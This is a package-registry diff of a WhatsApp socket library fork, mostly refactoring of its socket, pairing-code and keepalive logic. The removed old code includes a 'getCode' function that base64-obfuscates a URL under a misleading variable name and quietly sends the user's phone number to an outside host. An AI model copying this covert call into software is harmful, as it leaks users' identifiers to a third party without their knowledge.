@zetagoaurum-socket/wasocket 3.0.0 → 3.2.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +1 -1
- package/README.md +67 -84
- package/WAProto/index.js +56886 -17506
- package/engine-requirements.js +10 -0
- package/lib/Defaults/baileys-version.json +1 -1
- package/lib/Defaults/index.js +50 -9
- package/lib/Signal/Group/ciphertext-message.d.ts +9 -0
- package/lib/Signal/Group/ciphertext-message.js +15 -0
- package/lib/Signal/Group/group-session-builder.d.ts +14 -0
- package/lib/Signal/Group/group-session-builder.js +64 -0
- package/lib/Signal/Group/group_cipher.d.ts +17 -0
- package/lib/Signal/Group/group_cipher.js +96 -0
- package/lib/Signal/Group/index.d.ts +11 -0
- package/lib/Signal/Group/index.js +57 -0
- package/lib/Signal/Group/keyhelper.d.ts +10 -0
- package/lib/Signal/Group/keyhelper.js +55 -0
- package/lib/Signal/Group/queue-job.d.ts +1 -0
- package/lib/Signal/Group/queue-job.js +57 -0
- package/lib/Signal/Group/sender-chain-key.d.ts +13 -0
- package/lib/Signal/Group/sender-chain-key.js +34 -0
- package/lib/Signal/Group/sender-key-distribution-message.d.ts +16 -0
- package/lib/Signal/Group/sender-key-distribution-message.js +66 -0
- package/lib/Signal/Group/sender-key-message.d.ts +18 -0
- package/lib/Signal/Group/sender-key-message.js +69 -0
- package/lib/Signal/Group/sender-key-name.d.ts +17 -0
- package/lib/Signal/Group/sender-key-name.js +51 -0
- package/lib/Signal/Group/sender-key-record.d.ts +30 -0
- package/lib/Signal/Group/sender-key-record.js +53 -0
- package/lib/Signal/Group/sender-key-state.d.ts +38 -0
- package/lib/Signal/Group/sender-key-state.js +99 -0
- package/lib/Signal/Group/sender-message-key.d.ts +11 -0
- package/{WASignalGroup/sender_message_key.js → lib/Signal/Group/sender-message-key.js} +6 -16
- package/lib/Signal/libsignal.js +51 -29
- package/lib/Socket/business.d.ts +3 -2
- package/lib/Socket/chats.d.ts +215 -28
- package/lib/Socket/chats.js +185 -70
- package/lib/Socket/chats.js.bak +981 -0
- package/lib/Socket/dugong.d.ts +254 -0
- package/lib/Socket/dugong.js +432 -141
- package/lib/Socket/groups.js +20 -23
- package/lib/Socket/index.js +2 -15
- package/lib/Socket/messages-recv.d.ts +56 -55
- package/lib/Socket/messages-recv.js +370 -112
- package/lib/Socket/messages-send.d.ts +3 -2
- package/lib/Socket/messages-send.js +465 -368
- package/lib/Socket/newsletter.js +175 -28
- package/lib/Socket/socket.js +203 -174
- package/lib/Socket/usync.d.ts +3 -3
- package/lib/Types/GroupMetadata.d.ts +1 -0
- package/lib/Types/Newsletter.d.ts +97 -86
- package/lib/Types/Newsletter.js +38 -32
- package/lib/Types/USync.d.ts +25 -0
- package/lib/Types/USync.js +2 -0
- package/lib/Utils/anti-crash.js +20 -0
- package/lib/Utils/auto-contact.js +74 -0
- package/lib/Utils/chat-utils.js +17 -3
- package/lib/Utils/generics.js +68 -31
- package/lib/Utils/generics.js.bak +433 -0
- package/lib/Utils/history.js +6 -1
- package/lib/Utils/link-preview.js +4 -2
- package/lib/Utils/messages-media.js +145 -57
- package/lib/Utils/messages.js +89 -305
- package/lib/Utils/signal.js +48 -46
- package/lib/Utils/use-multi-file-auth-state.js +45 -6
- package/lib/Utils/validate-connection.js +91 -65
- package/lib/Utils/validate-connection.js.bak +237 -0
- package/lib/WABinary/constants.d.ts +27 -24
- package/lib/WABinary/encode.js +160 -123
- package/lib/WABinary/generic-utils.d.ts +2 -0
- package/lib/WABinary/generic-utils.js +124 -36
- package/lib/WABinary/jid-utils.js +5 -26
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +1 -1
- package/lib/index.d.ts +1 -0
- package/lib/index.js +9 -0
- package/package.json +105 -100
- package/WAProto/GenerateStatics.sh +0 -4
- package/WAProto/WAProto.proto +0 -3344
- package/WAProto/index.d.ts +0 -37016
- package/WASignalGroup/GroupProtocol.js +0 -1697
- package/WASignalGroup/ciphertext_message.js +0 -16
- package/WASignalGroup/group_cipher.js +0 -120
- package/WASignalGroup/group_session_builder.js +0 -46
- package/WASignalGroup/index.js +0 -5
- package/WASignalGroup/keyhelper.js +0 -21
- package/WASignalGroup/protobufs.js +0 -3
- package/WASignalGroup/queue_job.js +0 -69
- package/WASignalGroup/sender_chain_key.js +0 -50
- package/WASignalGroup/sender_key_distribution_message.js +0 -78
- package/WASignalGroup/sender_key_message.js +0 -92
- package/WASignalGroup/sender_key_name.js +0 -70
- package/WASignalGroup/sender_key_record.js +0 -56
- package/WASignalGroup/sender_key_state.js +0 -129
- package/lib/WAUSync/Fall +0 -1
- package/lib/WAUSync/Protocols/Fal +0 -1
package/lib/Socket/socket.js
CHANGED
|
@@ -2,7 +2,6 @@
|
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.makeSocket = void 0;
|
|
4
4
|
const boom_1 = require("@hapi/boom");
|
|
5
|
-
const axios_1 = require("axios");
|
|
6
5
|
const crypto_1 = require("crypto");
|
|
7
6
|
const url_1 = require("url");
|
|
8
7
|
const util_1 = require("util");
|
|
@@ -19,24 +18,18 @@ const Client_1 = require("./Client");
|
|
|
19
18
|
* - query phone connection
|
|
20
19
|
*/
|
|
21
20
|
const makeSocket = (config) => {
|
|
22
|
-
// ZetaGo-Aurum Banner
|
|
23
|
-
console.log(`
|
|
24
|
-
\x1b[36m╔════════════════════════════════════════════╗
|
|
25
|
-
║ ZETAGO-AURUM - WASOCKET ║
|
|
26
|
-
║ Premium WhatsApp Socket Library ║
|
|
27
|
-
║ Version: 3.0.0 ║
|
|
28
|
-
╚════════════════════════════════════════════╝\x1b[0m`);
|
|
29
21
|
var _a, _b;
|
|
30
22
|
const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
23
|
+
const url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl;
|
|
24
|
+
if (config.mobile || url.protocol === 'tcp:') {
|
|
25
|
+
throw new boom_1.Boom('Mobile API is not supported anymore', {
|
|
26
|
+
statusCode: Types_1.DisconnectReason.loggedOut
|
|
27
|
+
});
|
|
35
28
|
}
|
|
36
|
-
if (
|
|
29
|
+
if (url.protocol === 'wss' && ((_a = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _a === void 0 ? void 0 : _a.routingInfo)) {
|
|
37
30
|
url.searchParams.append('ED', authState.creds.routingInfo.toString('base64url'));
|
|
38
31
|
}
|
|
39
|
-
const ws =
|
|
32
|
+
const ws = new Client_1.WebSocketClient(url, config);
|
|
40
33
|
ws.connect();
|
|
41
34
|
const ev = (0, Utils_1.makeEventBuffer)(logger);
|
|
42
35
|
/** ephemeral key pair used to encrypt/decrypt communication. Unique for each connection */
|
|
@@ -44,8 +37,7 @@ const makeSocket = (config) => {
|
|
|
44
37
|
/** WA noise protocol wrapper */
|
|
45
38
|
const noise = (0, Utils_1.makeNoiseHandler)({
|
|
46
39
|
keyPair: ephemeralKeyPair,
|
|
47
|
-
NOISE_HEADER:
|
|
48
|
-
mobile: config.mobile,
|
|
40
|
+
NOISE_HEADER: Defaults_1.NOISE_WA_HEADER,
|
|
49
41
|
logger,
|
|
50
42
|
routingInfo: (_b = authState === null || authState === void 0 ? void 0 : authState.creds) === null || _b === void 0 ? void 0 : _b.routingInfo
|
|
51
43
|
});
|
|
@@ -85,9 +77,40 @@ const makeSocket = (config) => {
|
|
|
85
77
|
const buff = (0, WABinary_1.encodeBinaryNode)(frame);
|
|
86
78
|
return sendRawMessage(buff);
|
|
87
79
|
};
|
|
80
|
+
|
|
81
|
+
const toLid = async (pn) => {
|
|
82
|
+
return pn;
|
|
83
|
+
};
|
|
84
|
+
|
|
85
|
+
const delay = async (ms) => {
|
|
86
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
const toPn = async (pn) => {
|
|
90
|
+
return pn;
|
|
91
|
+
};
|
|
88
92
|
/** log & process any unexpected errors */
|
|
89
93
|
const onUnexpectedError = (err, msg) => {
|
|
90
94
|
logger.error({ err }, `unexpected error in '${msg}'`);
|
|
95
|
+
const message = (err && ((err.stack || err.message) || String(err))).toLowerCase();
|
|
96
|
+
// auto recover from cryptographic desyncs by re-uploading prekeys
|
|
97
|
+
if (message.includes('bad mac') || (message.includes('mac') && message.includes('invalid'))) {
|
|
98
|
+
try {
|
|
99
|
+
uploadPreKeysToServerIfRequired(true)
|
|
100
|
+
.catch(e => logger.warn({ e }, 'failed to re-upload prekeys after bad mac'));
|
|
101
|
+
}
|
|
102
|
+
catch (_e) {
|
|
103
|
+
// ignore
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
// gently back off when encountering rate limits (429)
|
|
107
|
+
if (message.includes('429') || message.includes('rate limit')) {
|
|
108
|
+
const wait = Math.min(30000, (config.backoffDelayMs || 5000));
|
|
109
|
+
logger.info({ wait }, 'backing off due to rate limit');
|
|
110
|
+
setTimeout(() => {
|
|
111
|
+
// intentionally empty; wait to delay further sends
|
|
112
|
+
}, wait);
|
|
113
|
+
}
|
|
91
114
|
};
|
|
92
115
|
/** await the next incoming message */
|
|
93
116
|
const awaitNextMessage = async (sendMsg) => {
|
|
@@ -124,7 +147,7 @@ const makeSocket = (config) => {
|
|
|
124
147
|
let onRecv;
|
|
125
148
|
let onErr;
|
|
126
149
|
try {
|
|
127
|
-
|
|
150
|
+
const result = await (0, Utils_1.promiseTimeout)(timeoutMs, (resolve, reject) => {
|
|
128
151
|
onRecv = resolve;
|
|
129
152
|
onErr = err => {
|
|
130
153
|
reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
|
|
@@ -133,6 +156,7 @@ const makeSocket = (config) => {
|
|
|
133
156
|
ws.on('close', onErr); // if the socket closes, you'll never receive the message
|
|
134
157
|
ws.off('error', onErr);
|
|
135
158
|
});
|
|
159
|
+
return result;
|
|
136
160
|
}
|
|
137
161
|
finally {
|
|
138
162
|
ws.off(`TAG:${msgId}`, onRecv);
|
|
@@ -146,9 +170,10 @@ const makeSocket = (config) => {
|
|
|
146
170
|
node.attrs.id = generateMessageTag();
|
|
147
171
|
}
|
|
148
172
|
const msgId = node.attrs.id;
|
|
149
|
-
const
|
|
150
|
-
|
|
151
|
-
|
|
173
|
+
const [result] = await Promise.all([
|
|
174
|
+
waitForMessage(msgId, timeoutMs),
|
|
175
|
+
sendNode(node)
|
|
176
|
+
]);
|
|
152
177
|
if ('tag' in result) {
|
|
153
178
|
(0, WABinary_1.assertNodeErrorFree)(result);
|
|
154
179
|
}
|
|
@@ -165,12 +190,9 @@ const makeSocket = (config) => {
|
|
|
165
190
|
const result = await awaitNextMessage(init);
|
|
166
191
|
const handshake = WAProto_1.proto.HandshakeMessage.decode(result);
|
|
167
192
|
logger.trace({ handshake }, 'handshake recv from WA');
|
|
168
|
-
const keyEnc = noise.processHandshake(handshake, creds.noiseKey);
|
|
193
|
+
const keyEnc = await noise.processHandshake(handshake, creds.noiseKey);
|
|
169
194
|
let node;
|
|
170
|
-
if (
|
|
171
|
-
node = (0, Utils_1.generateMobileNode)(config);
|
|
172
|
-
}
|
|
173
|
-
else if (!creds.me) {
|
|
195
|
+
if (!creds.me) {
|
|
174
196
|
node = (0, Utils_1.generateRegistrationNode)(creds, config);
|
|
175
197
|
logger.info({ node }, 'not logged in, attempting registration...');
|
|
176
198
|
}
|
|
@@ -240,11 +262,11 @@ const makeSocket = (config) => {
|
|
|
240
262
|
const l0 = frame.tag;
|
|
241
263
|
const l1 = frame.attrs || {};
|
|
242
264
|
const l2 = Array.isArray(frame.content) ? (_a = frame.content[0]) === null || _a === void 0 ? void 0 : _a.tag : '';
|
|
243
|
-
Object.keys(l1)
|
|
265
|
+
for (const key of Object.keys(l1)) {
|
|
244
266
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]},${l2}`, frame) || anyTriggered;
|
|
245
267
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}:${l1[key]}`, frame) || anyTriggered;
|
|
246
268
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},${key}`, frame) || anyTriggered;
|
|
247
|
-
}
|
|
269
|
+
}
|
|
248
270
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0},,${l2}`, frame) || anyTriggered;
|
|
249
271
|
anyTriggered = ws.emit(`${Defaults_1.DEF_CALLBACK_PREFIX}${l0}`, frame) || anyTriggered;
|
|
250
272
|
if (!anyTriggered && logger.level === 'debug') {
|
|
@@ -304,36 +326,39 @@ const makeSocket = (config) => {
|
|
|
304
326
|
});
|
|
305
327
|
};
|
|
306
328
|
const startKeepAliveRequest = () => (keepAliveReq = setInterval(() => {
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
329
|
+
const jitter = Math.floor(Math.random() * 5000) + 1000;
|
|
330
|
+
setTimeout(() => {
|
|
331
|
+
if (!lastDateRecv) {
|
|
332
|
+
lastDateRecv = new Date();
|
|
333
|
+
}
|
|
334
|
+
const diff = Date.now() - lastDateRecv.getTime();
|
|
335
|
+
/*
|
|
336
|
+
check if it's been a suspicious amount of time since the server responded with our last seen
|
|
337
|
+
it could be that the network is down
|
|
338
|
+
*/
|
|
339
|
+
if (diff > keepAliveIntervalMs + 5000) {
|
|
340
|
+
end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
|
|
341
|
+
}
|
|
342
|
+
else if (ws.isOpen) {
|
|
343
|
+
// if its all good, send a keep alive request
|
|
344
|
+
query({
|
|
345
|
+
tag: 'iq',
|
|
346
|
+
attrs: {
|
|
347
|
+
id: generateMessageTag(),
|
|
348
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
349
|
+
type: 'get',
|
|
350
|
+
xmlns: 'w:p',
|
|
351
|
+
},
|
|
352
|
+
content: [{ tag: 'ping', attrs: {} }]
|
|
353
|
+
})
|
|
354
|
+
.catch(err => {
|
|
355
|
+
logger.error({ trace: err.stack }, 'error in sending keep alive');
|
|
356
|
+
});
|
|
357
|
+
}
|
|
358
|
+
else {
|
|
359
|
+
logger.warn('keep alive called when WS not open');
|
|
360
|
+
}
|
|
361
|
+
}, jitter);
|
|
337
362
|
}, keepAliveIntervalMs));
|
|
338
363
|
/** i have no idea why this exists. pls enlighten me */
|
|
339
364
|
const sendPassiveIq = (tag) => (query({
|
|
@@ -373,124 +398,107 @@ const makeSocket = (config) => {
|
|
|
373
398
|
}
|
|
374
399
|
end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
|
|
375
400
|
};
|
|
376
|
-
/** This method was created by snowi, and implemented by KyuuRzy */
|
|
377
401
|
|
|
402
|
+
/** This method was created by snowi, and implemented by KyuuRzy */
|
|
378
403
|
/** hey bro, if you delete this text */
|
|
379
404
|
/** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
|
|
380
|
-
const getCode = async (phoneNumber) => {
|
|
381
|
-
const defaultMaxListenersBuffer = "aHR0cHM6Ly9yZWRpcy1hbWJlci52ZXJjZWwuYXBwL2htbT9pZD0=";
|
|
382
|
-
let response = await axios_1.default.get(`${atob(defaultMaxListenersBuffer)}${phoneNumber}`);
|
|
383
|
-
return response.data.message;
|
|
384
|
-
};
|
|
385
405
|
const requestPairingCode = async (phoneNumber, pairKey) => {
|
|
386
|
-
|
|
387
|
-
|
|
388
|
-
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
|
|
392
|
-
name: '~'
|
|
393
|
-
};
|
|
394
|
-
|
|
395
|
-
// Emit update kredensial
|
|
396
|
-
ev.emit('creds.update', authState.creds);
|
|
406
|
+
if (pairKey) {
|
|
407
|
+
authState.creds.pairingCode = pairKey.toUpperCase().replace(/[^A-Z0-9]/g, '');
|
|
408
|
+
} else {
|
|
409
|
+
authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
|
|
410
|
+
}
|
|
397
411
|
|
|
398
|
-
|
|
399
|
-
|
|
412
|
+
authState.creds.me = {
|
|
413
|
+
id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
|
|
414
|
+
name: '~'
|
|
415
|
+
};
|
|
400
416
|
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
|
|
404
|
-
|
|
405
|
-
|
|
406
|
-
|
|
407
|
-
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
|
|
415
|
-
|
|
416
|
-
|
|
417
|
-
|
|
418
|
-
content: [
|
|
419
|
-
{
|
|
420
|
-
tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
|
|
421
|
-
attrs: {},
|
|
422
|
-
content: await generatePairingKey()
|
|
423
|
-
},
|
|
424
|
-
{
|
|
425
|
-
tag: 'companion_server_auth_key_pub',
|
|
426
|
-
attrs: {},
|
|
427
|
-
content: authState.creds.noiseKey.public
|
|
428
|
-
},
|
|
429
|
-
{
|
|
430
|
-
tag: 'companion_platform_id',
|
|
431
|
-
attrs: {},
|
|
432
|
-
content: (0, Utils_1.getPlatformId)(browser[1])
|
|
433
|
-
},
|
|
434
|
-
{
|
|
435
|
-
tag: 'companion_platform_display',
|
|
436
|
-
attrs: {},
|
|
437
|
-
content: `${browser[1]} (${browser[0]})`
|
|
417
|
+
ev.emit('creds.update', authState.creds);
|
|
418
|
+
|
|
419
|
+
await sendNode({
|
|
420
|
+
tag: 'iq',
|
|
421
|
+
attrs: {
|
|
422
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
423
|
+
type: 'set',
|
|
424
|
+
id: generateMessageTag(),
|
|
425
|
+
xmlns: 'md'
|
|
426
|
+
},
|
|
427
|
+
content: [
|
|
428
|
+
{
|
|
429
|
+
tag: 'link_code_companion_reg',
|
|
430
|
+
attrs: {
|
|
431
|
+
jid: authState.creds.me.id,
|
|
432
|
+
stage: 'companion_hello',
|
|
433
|
+
should_show_push_notification: 'true'
|
|
438
434
|
},
|
|
439
|
-
|
|
440
|
-
|
|
441
|
-
|
|
442
|
-
|
|
443
|
-
|
|
444
|
-
|
|
445
|
-
|
|
446
|
-
|
|
447
|
-
|
|
448
|
-
|
|
449
|
-
|
|
450
|
-
|
|
451
|
-
|
|
452
|
-
|
|
453
|
-
|
|
454
|
-
|
|
455
|
-
|
|
456
|
-
|
|
457
|
-
|
|
458
|
-
|
|
459
|
-
|
|
460
|
-
|
|
461
|
-
|
|
462
|
-
|
|
463
|
-
|
|
464
|
-
|
|
465
|
-
|
|
466
|
-
|
|
467
|
-
|
|
468
|
-
|
|
469
|
-
|
|
470
|
-
|
|
471
|
-
|
|
472
|
-
|
|
473
|
-
|
|
474
|
-
|
|
475
|
-
|
|
476
|
-
|
|
477
|
-
|
|
478
|
-
content: wamBuffer
|
|
479
|
-
}
|
|
480
|
-
]
|
|
481
|
-
});
|
|
482
|
-
};
|
|
483
|
-
|
|
484
|
-
// Menangani event websocket
|
|
485
|
-
ws.on('message', onMessageReceived);
|
|
486
|
-
ws.on('open', async () => {
|
|
487
|
-
try {
|
|
488
|
-
await validateConnection();
|
|
489
|
-
} catch (err) {
|
|
490
|
-
logger.error({ err }, 'error in validating connection');
|
|
491
|
-
end(err);
|
|
435
|
+
content: [
|
|
436
|
+
{
|
|
437
|
+
tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
|
|
438
|
+
attrs: {},
|
|
439
|
+
content: await generatePairingKey()
|
|
440
|
+
},
|
|
441
|
+
{
|
|
442
|
+
tag: 'companion_server_auth_key_pub',
|
|
443
|
+
attrs: {},
|
|
444
|
+
content: authState.creds.noiseKey.public
|
|
445
|
+
},
|
|
446
|
+
{
|
|
447
|
+
tag: 'companion_platform_id',
|
|
448
|
+
attrs: {},
|
|
449
|
+
content: (0, Utils_1.getPlatformId)(browser[1])
|
|
450
|
+
},
|
|
451
|
+
{
|
|
452
|
+
tag: 'companion_platform_display',
|
|
453
|
+
attrs: {},
|
|
454
|
+
content: `${browser[1]} (${browser[0]})`
|
|
455
|
+
},
|
|
456
|
+
{
|
|
457
|
+
tag: 'link_code_pairing_nonce',
|
|
458
|
+
attrs: {},
|
|
459
|
+
content: "0"
|
|
460
|
+
}
|
|
461
|
+
]
|
|
462
|
+
}
|
|
463
|
+
]
|
|
464
|
+
});
|
|
465
|
+
|
|
466
|
+
return authState.creds.pairingCode;
|
|
467
|
+
}
|
|
468
|
+
async function generatePairingKey() {
|
|
469
|
+
const salt = (0, crypto_1.randomBytes)(32);
|
|
470
|
+
const randomIv = (0, crypto_1.randomBytes)(16);
|
|
471
|
+
const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
|
|
472
|
+
const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
|
|
473
|
+
return Buffer.concat([salt, randomIv, ciphered]);
|
|
492
474
|
}
|
|
493
|
-
|
|
475
|
+
const sendWAMBuffer = (wamBuffer) => {
|
|
476
|
+
return query({
|
|
477
|
+
tag: 'iq',
|
|
478
|
+
attrs: {
|
|
479
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
480
|
+
id: generateMessageTag(),
|
|
481
|
+
xmlns: 'w:stats'
|
|
482
|
+
},
|
|
483
|
+
content: [
|
|
484
|
+
{
|
|
485
|
+
tag: 'add',
|
|
486
|
+
attrs: {},
|
|
487
|
+
content: wamBuffer
|
|
488
|
+
}
|
|
489
|
+
]
|
|
490
|
+
});
|
|
491
|
+
};
|
|
492
|
+
ws.on('message', onMessageReceived);
|
|
493
|
+
ws.on('open', async () => {
|
|
494
|
+
try {
|
|
495
|
+
await validateConnection();
|
|
496
|
+
}
|
|
497
|
+
catch (err) {
|
|
498
|
+
logger.error({ err }, 'error in validating connection');
|
|
499
|
+
end(err);
|
|
500
|
+
}
|
|
501
|
+
});
|
|
494
502
|
ws.on('error', mapWebSocketError(end));
|
|
495
503
|
ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
|
|
496
504
|
// the server terminated the connection
|
|
@@ -547,12 +555,18 @@ ws.on('open', async () => {
|
|
|
547
555
|
});
|
|
548
556
|
// login complete
|
|
549
557
|
ws.on('CB:success', async (node) => {
|
|
550
|
-
|
|
551
|
-
|
|
552
|
-
|
|
553
|
-
|
|
554
|
-
|
|
555
|
-
|
|
558
|
+
try {
|
|
559
|
+
await uploadPreKeysToServerIfRequired();
|
|
560
|
+
await sendPassiveIq('active');
|
|
561
|
+
logger.info('opened connection to WA');
|
|
562
|
+
clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
|
|
563
|
+
ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
|
|
564
|
+
ev.emit('connection.update', { connection: 'open' });
|
|
565
|
+
}
|
|
566
|
+
catch (err) {
|
|
567
|
+
logger.error({ err }, 'error opening connection');
|
|
568
|
+
end(err);
|
|
569
|
+
}
|
|
556
570
|
});
|
|
557
571
|
ws.on('CB:stream:error', (node) => {
|
|
558
572
|
logger.error({ node }, 'stream errored out');
|
|
@@ -567,11 +581,20 @@ ws.on('open', async () => {
|
|
|
567
581
|
ws.on('CB:ib,,downgrade_webclient', () => {
|
|
568
582
|
end(new boom_1.Boom('Multi-device beta not joined', { statusCode: Types_1.DisconnectReason.multideviceMismatch }));
|
|
569
583
|
});
|
|
584
|
+
ws.on('CB:ib,,offline_preview', (node) => {
|
|
585
|
+
logger.info('offline preview received', JSON.stringify(node));
|
|
586
|
+
sendNode({
|
|
587
|
+
tag: 'ib',
|
|
588
|
+
attrs: {},
|
|
589
|
+
content: [{ tag: 'offline_batch', attrs: { count: '100' } }]
|
|
590
|
+
});
|
|
591
|
+
});
|
|
570
592
|
ws.on('CB:ib,,edge_routing', (node) => {
|
|
571
593
|
const edgeRoutingNode = (0, WABinary_1.getBinaryNodeChild)(node, 'edge_routing');
|
|
572
594
|
const routingInfo = (0, WABinary_1.getBinaryNodeChild)(edgeRoutingNode, 'routing_info');
|
|
573
595
|
if (routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content) {
|
|
574
596
|
authState.creds.routingInfo = Buffer.from(routingInfo === null || routingInfo === void 0 ? void 0 : routingInfo.content);
|
|
597
|
+
ev.emit('creds.update', authState.creds);
|
|
575
598
|
}
|
|
576
599
|
});
|
|
577
600
|
let didStartBuffer = false;
|
|
@@ -620,11 +643,17 @@ ws.on('open', async () => {
|
|
|
620
643
|
type: 'md',
|
|
621
644
|
ws,
|
|
622
645
|
ev,
|
|
623
|
-
authState: {
|
|
646
|
+
authState: {
|
|
647
|
+
creds,
|
|
648
|
+
keys
|
|
649
|
+
},
|
|
624
650
|
signalRepository,
|
|
625
651
|
get user() {
|
|
626
652
|
return authState.creds.me;
|
|
627
653
|
},
|
|
654
|
+
toLid,
|
|
655
|
+
toPn,
|
|
656
|
+
delay,
|
|
628
657
|
generateMessageTag,
|
|
629
658
|
query,
|
|
630
659
|
waitForMessage,
|
package/lib/Socket/usync.d.ts
CHANGED
|
@@ -20,7 +20,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
|
|
|
20
20
|
signalRepository: import("../Types").SignalRepository;
|
|
21
21
|
user: import("../Types").Contact | undefined;
|
|
22
22
|
generateMessageTag: () => string;
|
|
23
|
-
query: (node: BinaryNode, timeoutMs?: number) => Promise<
|
|
23
|
+
query: (node: BinaryNode, timeoutMs?: number) => Promise<BinaryNode>;
|
|
24
24
|
waitForMessage: <T>(msgId: string, timeoutMs?: number | undefined) => Promise<any>;
|
|
25
25
|
waitForSocketOpen: () => Promise<void>;
|
|
26
26
|
sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
|
|
@@ -30,7 +30,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
|
|
|
30
30
|
onUnexpectedError: (err: Error | Boom, msg: string) => void;
|
|
31
31
|
uploadPreKeys: (count?: number) => Promise<void>;
|
|
32
32
|
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
33
|
-
requestPairingCode: (phoneNumber:
|
|
33
|
+
requestPairingCode: (phoneNumber: string, customPairingCode?: string) => Promise<string>;
|
|
34
34
|
waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
|
|
35
|
-
sendWAMBuffer: (wamBuffer: Buffer) => Promise<
|
|
35
|
+
sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
|
|
36
36
|
};
|